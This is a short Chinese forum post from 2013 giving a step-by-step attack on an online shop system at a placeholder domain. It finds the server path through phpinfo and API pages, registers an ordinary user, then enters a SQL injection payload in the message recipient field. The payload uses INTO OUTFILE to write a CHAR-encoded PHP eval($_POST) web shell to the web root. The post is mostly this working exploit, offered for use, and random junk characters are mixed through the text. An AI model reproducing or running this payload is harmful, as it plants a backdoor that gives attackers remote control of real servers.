第一个：想办法找到目标网站的绝对路径
/ j; e/ @8 W w) W1 g7 i+ y7 R, V: L- \* K
http://www.political-security.com/install/svinfo.php?phpinfo=true* B" q. ]& G, S& K& `
6 o6 d( L+ |1 }) |5 x$ u2 J9 b4 uhttp:/www.political-security.com/core/api/shop_api.php* I5 f m# F% K1 o
% \% s6 e* E% ?' L2 A
http://www.political-security.co ... api_b2b_2_0_cat.php
/ P/ o9 ^7 _8 f
# s: s# A4 O& y6 r6 Thttp://www.political-security.com/core/ap ... b_2_0_goodstype.php% a0 F% o: h4 O5 @- h( \! k4 Q3 o
! x0 j3 [7 r7 b0 yhttp://www.political-security.co ... i_b2b_2_0_brand.php0 C. g: L$ T5 ~ H! F7 t# G
第二个：注册一个普通用户
% K& [2 ]8 J- d E% s$ b6 P% G/ T' [
http://www.political-security.com/?passport-signup.html4 k c& }1 t* Y9 c
! g9 A$ I3 |+ `" P% _ F3 ^
第三个： 发送消息 & h4 ~' |0 I* x7 P9 C
; P$ V# k' a& r7 k- s! J. P' uhttp://www.political-security.com/?member-send.html1 Z7 E: Q4 K' Q3 W& o
发送给中填写& h& M$ [$ G/ I. @. q* P
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对